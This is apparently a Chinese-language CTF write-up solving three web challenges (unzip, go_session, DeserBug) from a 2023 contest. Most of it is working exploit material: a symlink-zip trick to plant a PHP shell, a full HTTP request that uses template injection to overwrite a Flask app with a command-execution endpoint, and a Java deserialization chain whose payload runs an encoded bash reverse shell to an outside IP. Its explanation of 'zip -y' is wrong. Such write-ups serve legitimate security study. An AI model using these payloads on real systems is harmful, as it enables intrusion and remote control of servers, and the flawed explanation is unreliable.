unzip
1 2 3 4 5 6 7 8 9 10 11
| <?php error_reporting(0); highlight_file(__FILE__);
$finfo = finfo_open(FILEINFO_MIME_TYPE); echo ($_FILES["file"]["tmp_name"]); echo(finfo_file($finfo, $_FILES["file"]["tmp_name"])); if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){ exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]); };
|
代码的作用是将上传的文件解压到/tmp目录
但是unzip命令在执行时会触发软连接
因此我们可以先创建一个软连接指向根目录,再上传一个shell
1 2
| ln -s /var/www/html ycx zip -y 1.zip ycx
|
zip -y
是 zip 命令的参数之一,用于指定 zip 文件中使用 UNIX 类型的压缩方式而不是 DOS 类型。具体而言,这个参数会将文件名中的反斜杠 \
替换成正斜杠 /
,从而使得在不同的操作系统之间进行文件传输和解压缩时不会出现问题。
然后我们再创建一个名为ycx的目录,其中放入我们的shell,然后将其压缩上传即可
上传过后服务器就会将shell.php解压到根目录
go_session
直接看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
| package route
import ( "github.com/flosch/pongo2/v6" "github.com/gin-gonic/gin" "github.com/gorilla/sessions" "html" "io" "net/http" )
var store = sessions.NewCookieStore([]byte(os.xxxx))
func Index(c *gin.Context) { session, err := store.Get(c.Request, "session-name") if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } if session.Values["name"] == nil { session.Values["name"] = "guest" err = session.Save(c.Request, c.Writer) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } }
c.String(200, "Hello, guest") }
func Admin(c *gin.Context) { session, err := store.Get(c.Request, "session-name") if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } if session.Values["name"] != "admin" { http.Error(c.Writer, "N0", http.StatusInternalServerError) return } name := c.DefaultQuery("name", "ssti") xssWaf := html.EscapeString(name) tpl, err := pongo2.FromString("Hello " + xssWaf + "!") if err != nil { panic(err) } out, err := tpl.Execute(pongo2.Context{"c": c}) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } c.String(200, out) }
func Flask(c *gin.Context) { session, err := store.Get(c.Request, "session-name") if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } if session.Values["name"] == nil { if err != nil { http.Error(c.Writer, "N0", http.StatusInternalServerError) return } }
resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest")) if err != nil { return } defer resp.Body.Close() body, _ := io.ReadAll(resp.Body)
c.String(200, string(body)) }
|
Index路由没什么好看的
admin路由先判断session中的name值是否为admin,是的话就进行ssti
/flask 路由可以访问到本机 5000 端口的 flask, 但是根据报错信息泄露的源码来看只有一个没有用的路由
进入admin路由需要一个密钥,猜测是为空(怎么猜的:()
把源码扒下来,然后稍作修改,在本地跑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
| package route
import ( "github.com/flosch/pongo2/v6" "github.com/gin-gonic/gin" "github.com/gorilla/sessions" "html" "io" "net/http" "os" )
var store = sessions.NewCookieStore([]byte(os.Getenv("")))
func Index(c *gin.Context) { session, err := store.Get(c.Request, "session-name") if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } if session.Values["name"] == nil { session.Values["name"] = "admin" err = session.Save(c.Request, c.Writer) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } }
c.String(200, "Hello, guest") }
func Admin(a *gin.Context) { session, err := store.Get(a.Request, "session-name") if err != nil { http.Error(a.Writer, err.Error(), http.StatusInternalServerError) return } if session.Values["name"] != "admin" { http.Error(a.Writer, "N0", http.StatusInternalServerError) return } name := a.DefaultQuery("name", "ssti") xssWaf := html.EscapeString(name) tpl, err := pongo2.FromString("Hello " + xssWaf + "!") if err != nil { panic(err) } out, err := tpl.Execute(pongo2.Context{"c": a}) if err != nil { http.Error(a.Writer, err.Error(), http.StatusInternalServerError) return } a.String(200, out) }
func Flask(c *gin.Context) { session, err := store.Get(c.Request, "session-name") if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } if session.Values["name"] == nil { if err != nil { http.Error(c.Writer, "N0", http.StatusInternalServerError) return } } resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest")) if err != nil { return } defer resp.Body.Close() body, _ := io.ReadAll(resp.Body)
c.String(200, string(body)) }
|
本地可以得到一个cookie
然后把这个cookie拖到靶机里面去打,发现可以成功
尝试一下模板注入
成功,其中c是源码里面传入gin.context上下文
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| gin.Context 是 Go 语言 Web 框架 Gin 中的一个上下文对象,它封装了 HTTP 请求和响应的相关信息,包括请求头、请求参数、响应状态码、响应头等。在 Gin 应用程序中,每次接收到 HTTP 请求时,Gin 都会创建一个新的 gin.Context 实例,并将其作为参数传递给路由处理函数。
通过 gin.Context,你可以方便地访问 HTTP 请求和响应的相关信息,例如:
请求方法:ctx.Request.Method 请求路径:ctx.Request.URL.Path 请求参数:ctx.Query("name") 或 ctx.PostForm("name") 请求头:ctx.Request.Header.Get("Content-Type") 响应状态码:ctx.Writer.WriteHeader(http.StatusOK) 响应头:ctx.Writer.Header().Set("Content-Type", "application/json") 响应内容:ctx.JSON(http.StatusOK, gin.H{"message": "Hello, world!"}) 此外,gin.Context 还提供了一些方便的方法和属性,例如:
ctx.Next():调用下一个中间件或路由处理函数。 ctx.Abort():终止请求处理,并返回一个空响应。 ctx.AbortWithStatus():终止请求处理,并返回指定状态码的响应。 ctx.Param():获取 URL 参数。 ctx.ShouldBind():将请求体绑定到指定的结构体对象中。 ctx.Errors:保存请求处理过程中的错误信息。
|
继续寻找信息,如果我们输入/flask?name=
会出现一个报错页面,其中一些信息值得关注
可以看到,这个server.py文件开启了debug模式
这里flask开启了debug模式,debug攻击点一般采用算pin和debug热加载,这里尝试过算pin发现不能携带cookie,不能直接命令执行,所以使用热加载。
1 2 3
| 热加载(Hot Reload)是一种开发工具或框架提供的功能,可以在应用程序运行时动态更新代码,而无需重新启动应用程序。这可以大大加快开发过程,因为开发人员可以在不中断应用程序的情况下修改代码,并立即看到修改后的效果。
在热加载过程中,开发工具或框架会监视应用程序的代码,并在代码发生更改时重新加载已修改的模块。这通常涉及到重新编译修改后的代码,并将其注入到运行的应用程序中。在重新加载完成后,应用程序可以继续运行,而无需重新启动。
|
现在我们的思路就是:利用ssti以及热加载覆盖原来的server.py为恶意文件
最后因为模版编译前会通过 html 编码把单双号转义, 所以传入的ssti命令不能有单双引号
寻找gin.Context包装的函数
获取请求头中User-Agent的值
获取表单中的文件内容,唯一的参数name代表表单名称
上传文件,第一个参数为文件内容,第二个参数为上传路径
最终payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.Request.UserAgent()),c.Request.UserAgent())}} HTTP/1.1 Host: 123.56.244.196:17997 Content-Length: 613 Cache-Control: max-age=0 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrxtSm5i2S6anueQi User-Agent: /app/server.py Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Cookie: session-name=MTY4NTE1ODc3OHxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXzlZGsWROWLHoCNn0Pbu3SkgRLWCZRrj8UIHVYgHU7GPw== Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Connection: close
------WebKitFormBoundaryrxtSm5i2S6anueQi Content-Disposition: form-data; name="/app/server.py"; filename="server.py" Content-Type: text/plain
from flask import Flask, request import os
app = Flask(__name__)
@app.route('/shell') def shell(): cmd = request.args.get('cmd') if cmd: return os.popen(cmd).read() else: return 'shell' if __name__== "__main__": app.run(host="127.0.0.1",port=5000,debug=True) ------WebKitFormBoundaryrxtSm5i2S6anueQi Content-Disposition: form-data; name="submit"
提交 ------WebKitFormBoundaryrxtSm5i2S6anueQi--
|
发包,现在我们已经将原来的server.py变为了我们上传的python文件,接下来就是访问执行命令
/flask?name=/shell?cmd=ls
输入空格会报错,使用${IFS}
DeserBug
下载源码(看一下重要部分)
Testapp
对传入的bugstr参数先进行base64解码,再进行反序列化操作
Myexcept
可以设置自定义类,并且调用相关类的构造器
web 服务是用 hutool 起的,而不是更加常见的 Spring Boot 或者 Tomcat。而且 CC 依赖也是进行了常见利用链修复的 3.2.2 版本,比起存在多条利用链的 3.2.1 只多了一个小版本。
那么我们可以想到,既然环境专门选择了相对不常见的 hutool 起 web 服务,其中就大概率存在可利用的利用链了。
结合提示cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept
可以知道触发点就是JSONObject.put
我们先测试一下,构造一个恶意类
1 2 3 4 5 6 7
| package main.java.国赛deserbug.lib;
public class evil { public evil() throws Exception { Runtime.getRuntime().exec("calc"); } }
|
测试类
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package main.java.国赛deserbug.lib;
import cn.hutool.json.JSONObject; import com.app.Myexpect;
public class TmpTest { public static void main(String[] args) { Myexpect myexpect = new Myexpect(); myexpect.setTargetclass(evil.class);
JSONObject jsonObject = new JSONObject(); jsonObject.put("whatever", myexpect); } }
|
可以看到成功弹出了计算器
也即最终触发了com.app.Myexpect#getAnyexcept()
方法,并实例化了本地的Evil
类。
正向利用已证明是可行的,那么现在就需要找到在反序列化阶段能够调用JSONObject#put()
的地方了。
查看JSONObject
的 UML 图,可以发现它实现了一个我们很熟悉的接口
我们最熟悉的Map应该就是LazyMap了吧,早在 CC1 利用链中我们就接触过LazyMap
,经过LazyMap
修饰后的Map
将会在LazyMap#get()
方法被触发时才调用Map#put()
方法将元素放入,而这刚好符合我们对调用JSONObject#put()
的期望。
CC1 的变体之一,CC5/CC6 的目标都是利用这里的LazyMap#factory.transform()
方法,拼接上 CC1 后半段利用链的。在这里我们对 CC6 稍加改造,就能将触发点改为LazyMap#map.put()
了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| package main.java.国赛deserbug.lib;
import cn.hutool.json.JSONObject; import com.app.Myexpect; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Field; import java.net.URLEncoder; import java.util.Base64; import java.util.HashMap; import java.util.Map;
public class TmpTest { public static void main(String[] args) throws Exception { Myexpect myexpect = new Myexpect(); myexpect.setTargetclass(evil.class);
JSONObject jsonObject = new JSONObject(); Map outerMap = LazyMap.decorate(jsonObject, new ConstantTransformer("whatever")); TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "needremove");
Map hashMap = new HashMap(); hashMap.put(tiedMapEntry, "whatever"); outerMap.remove("needremove"); setValue(outerMap, "factory", new ConstantTransformer(myexpect));
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(hashMap);
System.out.println(URLEncoder.encode(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()), "UTF-8"));
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray())); objectInputStream.readObject(); }
public static void setValue(Object obj, String name, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } }
|
成功打开了计算器
也就是说,在Myexpect
对象的帮助下,我们现在拥有实例化任意对象的能力了。
那么是否存在某条利用链,是从某个类的构造方法中触发的呢?
这时我们回忆 CC3 利用链,其将 CC1 的InvokerTransformer
替换为了com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
类。而这两条调用链之间的区别不仅仅只是某个类之间的平替,而在于TrAXFilter
最特殊的地方:其在构造方法中调用了Templates#newTransformer()
方法。
因此,最终构造的 exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75
| package main.java.国赛deserbug.lib;
import cn.hutool.json.JSONObject; import com.app.Myexpect; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import javassist.CtNewConstructor; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.net.URLEncoder; import java.util.Base64; import java.util.HashMap; import java.util.Map;
public class payload { public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("EvilGeneratedByJavassist"); ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet")); CtConstructor ctConstructor = CtNewConstructor.make("public EvilGeneratedByJavassist(){Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEwMS40Mi41Mi4xMTQvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}\");\n}", ctClass); ctClass.addConstructor(ctConstructor); byte[] byteCode = ctClass.toBytecode();
TemplatesImpl templates = new TemplatesImpl(); setValue(templates, "_name", "whatever"); setValue(templates, "_bytecodes", new byte[][]{byteCode}); setValue(templates, "_tfactory", new TransformerFactoryImpl());
Myexpect myexpect = new Myexpect(); myexpect.setTargetclass(TrAXFilter.class); myexpect.setTypeparam(new Class[]{Templates.class}); myexpect.setTypearg(new Object[]{templates});
JSONObject jsonObject = new JSONObject(); Map outerMap = LazyMap.decorate(jsonObject, new ConstantTransformer("whatever")); TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "needremove");
Map hashMap = new HashMap(); hashMap.put(tiedMapEntry, "whatever"); outerMap.remove("needremove"); setValue(outerMap, "factory", new ConstantTransformer(myexpect));
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(hashMap);
System.out.println(URLEncoder.encode(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()), "UTF-8"));
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray())); objectInputStream.readObject(); }
public static void setValue(Object obj, String name, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } }
|
传参即可
参考连接:https://www.yuque.com/misery333/sz1apr/pu2fcu7s6bg10333?singleDoc#
https://exp10it.cn/2023/05/2023-ciscn-%E5%88%9D%E8%B5%9B-web-writeup/#deserbug
https://pysnow.cn/archives/713/